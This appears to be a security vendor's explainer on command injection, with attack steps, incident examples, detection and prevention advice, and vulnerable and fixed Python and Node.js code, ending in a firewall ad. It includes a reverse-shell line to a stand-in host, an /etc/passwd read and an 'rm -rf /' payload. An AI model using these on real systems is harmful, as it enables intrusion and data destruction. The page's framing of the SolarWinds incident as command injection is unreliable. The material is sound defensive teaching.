Command Injection Attack
Command injection is a vulnerability where an application executes arbitrary system commands on the host operating system by incorporating untrusted user input into a system shell command. Attackers supply malicious input containing shell metacharacters (e.g., ; | & $ `) to chain additional commands, potentially leading to full server compromise, data exfiltration, or lateral movement across the network.
How Command Injection Attack Works
Command injection occurs when developers use functions that pass user input directly to shell commands (exec(), system(), subprocess, etc.) without proper validation or escaping. The operating system's shell interprets metacharacters as command separators, allowing attackers to append malicious commands. Unlike SQL injection, which targets database queries, command injection executes commands with the privileges of the vulnerable application process.
Identify vulnerable endpoints
Look for functionality that calls system commands: file operations (uploads, downloads), network tools (ping, traceroute, nslookup), format conversions (PDF generation, image processing), or administrative tasks. Common indicators include form fields, URL parameters, or file uploads that interact with backend system utilities.
Analyze command construction
Understand how user input is incorporated into system commands. Patterns like system('ping ' + user_input), exec('convert ' + filename), or subprocess.call(['ls', user_dir]) are suspicious. Check if input is validated, escaped, or passed as separate arguments rather than concatenated.
Craft exploit payloads
Test with shell metacharacters appropriate to the operating system: ; (command separator), && (logical AND), || (logical OR), | (pipe), ` (command substitution), $() (command substitution), $( ) (subshell), < > (redirection), & (background). For example: file.txt; cat /etc/passwd or 127.0.0.1; whoami
Execute and escalate
If command injection succeeds, enumerate the system: list files (ls, dir), check privileges (whoami, id), read sensitive files (/etc/passwd, C:\Windows\system32\config), establish reverse shells (bash -i >& /dev/tcp/attacker.com/4444 0>&1), or pivot to other systems using network tools (nc, nmap, curl).
Real-World Examples
2014 Shellshock vulnerability
Shellshock (CVE-2014-6271) was a critical command injection vulnerability in Bash. Attackers executed arbitrary commands by setting environment variables with malicious function definitions. Millions of Unix-based systems were affected including web servers, routers, IoT devices. Attackers used it for DDoS botnets and data exfiltration.
2019 Docker command injection
A vulnerability in Docker's API allowed attackers to execute arbitrary commands on host systems. The API endpoint for container creation didn't validate input properly, allowing command injection through the Cmd parameter. Attackers with container creation access could escape to the host OS and compromise the entire Docker host.
2021 SolarWinds supply chain attack
While primarily a supply chain attack, compromised SolarWinds Orion updates included command injection capabilities. Attackers executed commands on SolarWinds servers to pivot into customer networks. The incident showed how command injection in trusted software can facilitate widespread intrusion.
Impact & Risk Assessment
Command injection enables full system compromise, data theft, malware deployment, and lateral movement to other systems. Attackers can read/write any file accessible to the application process, steal database credentials from configuration files, install backdoors, launch attacks against internal networks, or use the compromised server as a botnet node. In multi-tenant environments, one tenant can compromise others. Impact includes data breaches, service disruption, regulatory fines, and complete loss of trust. Command injection often leads to complete control of the hosting infrastructure.
How to Detect Command Injection Attack
Monitor for suspicious command execution patterns: shell metacharacters in parameters (;, |, &, $, `), system command functions with user input, unexpected file operations, reverse shell connections, or privilege escalation attempts. Log all system command executions with full arguments and process information. Use application security testing (SAST/DAST) to identify vulnerable code patterns. Deploy runtime application self-protection (RASP) to detect abnormal system calls. Monitor for anomalous network connections from the application server (outbound shells, data exfiltration).
How to Prevent Command Injection Attack
Never execute shell commands with user input. If unavoidable, use parameterized APIs (Python subprocess with list arguments, Java ProcessBuilder with separate arguments, Node.js child_process.execFile) instead of string concatenation. Validate input with strict allowlists (only alphanumeric, no special characters). Escape shell metacharacters properly using language-specific escaping functions. Implement least privilege principles: run application processes with minimal permissions, chroot/sandbox environments. Use input validation libraries that reject shell metacharacters. Disable unnecessary system utilities. Use secure APIs (libraries) instead of system commands when possible. Regular code reviews focusing on system command execution patterns.
Code Examples
import subprocess
# VULNERABLE: User input concatenated into command
def ping_host(ip_address):
# Attacker can input: 8.8.8.8; cat /etc/passwd
result = subprocess.run(
f'ping -c 4 {ip_address}',
shell=True, # shell=True enables metacharacter interpretation
capture_output=True,
text=True
)
return result.stdout
import subprocess
import re
def validate_ip(ip):
"""Validate IP address with strict pattern"""
pattern = r'^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$'
return re.match(pattern, ip) is not None
def ping_host(ip_address):
# SECURE: Input validation + parameterized execution
if not validate_ip(ip_address):
raise ValueError('Invalid IP address format')
# Use list argument (no shell=True) - input can't inject commands
result = subprocess.run(
['ping', '-c', '4', ip_address],
capture_output=True,
text=True,
# No shell=True - each argument is separate
)
return result.stdout
const { exec } = require('child_process');
// VULNERABLE: Don't do this
function pingVulnerable(ip) {
exec(`ping -c 4 ${ip}`, (error, stdout, stderr) => {
// Attacker can inject: ; rm -rf /
console.log(stdout);
});
}
// SECURE: Option 1 - Use a library instead of shell commands
const ping = require('ping');
async function pingSecure(ip) {
const res = await ping.promise.probe(ip, {
timeout: 2,
extra: ['-c', '4']
});
return res.output;
}
// SECURE: Option 2 - Strict validation + parameterized
const { spawn } = require('child_process');
function validateIP(ip) {
// IPv4 regex pattern
const pattern = /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
return pattern.test(ip);
}
function pingParameterized(ip) {
if (!validateIP(ip)) {
throw new Error('Invalid IP address');
}
// spawn() with array - no shell interpretation
return spawn('ping', ['-c', '4', ip]);
}
PowerWAF automatically blocks Command Injection Attack at the edge.
Deploy in minutes. No code changes required. Free plan available.
Free plan spots are limited